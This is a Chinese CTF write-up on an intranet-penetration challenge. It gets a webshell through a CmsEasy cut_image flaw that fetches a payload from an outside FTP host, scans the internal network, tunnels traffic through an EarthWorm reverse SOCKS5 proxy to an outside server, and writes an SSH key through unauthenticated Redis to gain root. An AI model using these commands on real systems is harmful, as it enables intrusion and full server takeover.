cmseasy&內網滲透 Writeup

jzking121發表於2021-08-19

某CTF內網滲透

題目:www.whalwl.site:8021

目錄


cmseasy

簡單看一下網站架構
Apache/2.4.7 (Ubuntu)
PHP/5.5.9
CmsEasy版本5_6_0_20160825_UTF8

查詢該程式歷史漏洞,找到一個高危漏洞 “CmsEasy cut_image 程式碼執行漏洞
CmsEasy前臺無限制GetShell
Getshell的補充說明

POC:

http://www.whalwl.site:8021/index.php?case=tool&act=cut_image
pic=1ftp://221.xxx.xx.xx/payload.php&w=400&h=300&x1=0&x2=400&y1=0&y2=300

點我下載PHP一句話密碼a

image


內網橫向滲透

  • 根據flag提示,缺失的第二部分在內網
    image

  • 檢視一下內網IP。然後使用Ladon掃描一下內網:
    內網IP:192.168.128.2

  • Ladon掃描C段主機常見開放埠
    給檔案加執行許可權:
    chmod 777 Ladon64.lnx
    ./Ladon64.lnx 192.168.128.1/24 PortScan >1.txt

LadonGo 3.8 by k8gege
Arch: amd64 OS: linux
Pid:  1540 Process: Ladon64.lnx
Targe: 192.168.128.1/24

ScanStart: 2021-08-19 10:06:18
Load PortScan
192.168.128.3 22 Open SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8 
192.168.128.1 22 Open SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2 
192.168.128.2 80 Open HTTP/1.1 400 Bad Request Date: Thu, 19 Aug 2021 14:06:26 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 192.168.128.2 Port 80</address>
</body></html>
192.168.128.3 6379 Open -ERR wrong number of arguments for 'get' command 
 Finished: 2021-08-19 10:06:28

發現內網機器192.168.128.3 開放6379埠為Redis服務

  • Redis 未授權訪問漏洞
    Redis 預設情況下,會繫結在 0.0.0.0:6379,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 伺服器上寫入公鑰,進而可以使用對應私鑰直接登入目標伺服器。

  • 我們現在已拿到目標內網一臺機器的許可權。需要對內網做進一步的滲透,目前我有一臺公網的Ubuntu,一臺內網的Kali,如何反向Socks5將Kali的流量代理進目標內網
    答案是使用 EarthWorm Frp 等這類軟體做反向Socks5代理

我這裡使用EarthWorm

在公網的Ubuntu上執行如下命令:
./ew_for_linux64 -s rcsocks -l 10800 -e 10240 &
公網機器監聽10800和10240埠

目標機器執行如下命令:
./ew_for_linux64 -s rssocks -d 167.160.188.xx -e 10240

linux通過proxychains設定Socks5代理訪問目標內網服務
vi /etc/proxychains.conf
新增:socks5 167.160.188.xx 10800

設定完成後即可使用類似proxychains nmap 192.168.128.1這種方式將nmap的流量代理至目標內網進行掃描,其他命令列工具同理。

windows可以使用Proxifier

現在已經能訪問內網機器了,我們就利用Redis 未授權訪問漏洞獲取目標許可權。
Redis未授權訪問漏洞復現
Redis未授權訪問

安裝redis-cli
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/

漏洞利用:

root@kali:~/tmp# ssh-keygen -t rsa
root@kali:~/tmp# cd /root/.ssh/
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
root@kali:~/.ssh# cat /root/.ssh/foo.txt | proxychains redis-cli -h 192.168.128.3 -x set crackit
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-167.160.188.217:10800-<><>-192.168.128.3:6379-<><>-OK
OK
root@kali:~/.ssh# proxychains redis-cli -h 192.168.128.3
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-167.160.188.217:10800-<><>-192.168.128.3:6379-<><>-OK
192.168.128.3:6379> config set dir /root/.ssh/
OK
192.168.128.3:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.128.3:6379> config set dbfilename "authorized_keys"
OK
192.168.128.3:6379> save
OK
192.168.128.3:6379> exit
root@kali:~/.ssh# proxychains ssh -i id_rsa root@192.168.128.3

image

獲取flag
image

相關文章